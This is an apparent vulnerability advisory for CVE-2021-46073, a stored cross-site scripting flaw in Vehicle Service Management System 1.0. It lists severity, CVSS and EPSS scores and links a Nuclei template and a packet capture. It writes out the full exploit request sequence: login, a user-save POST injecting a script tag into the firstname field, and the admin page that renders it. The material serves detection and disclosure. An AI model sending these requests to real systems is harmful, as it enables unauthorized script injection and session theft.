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CVE-2021-46073: Vehicle Service Management System 1.0 - Cross Site Scripting

TitleVehicle Service Management System 1.0 - Cross Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.8
EPSS Score0.05674
CVE IDCVE-2021-46073
CWE IDCWE-79
Tags cve2021 cve xss vms authenticated vehicle_service_management_system_project vuln

🔍 Vulnerability Description

Vehicle Service Management System 1.0 contains a cross-site scripting vulnerability via the User List section in login panel.

🌐 HTTP Request

POST /vehicle_service/classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=8ye39n&password=hi3baj
POST /vehicle_service/classes/Users.php?f=save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Content-Length: 123
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

firstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1
GET /vehicle_service/admin/?page=user/list HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46073.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46073.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A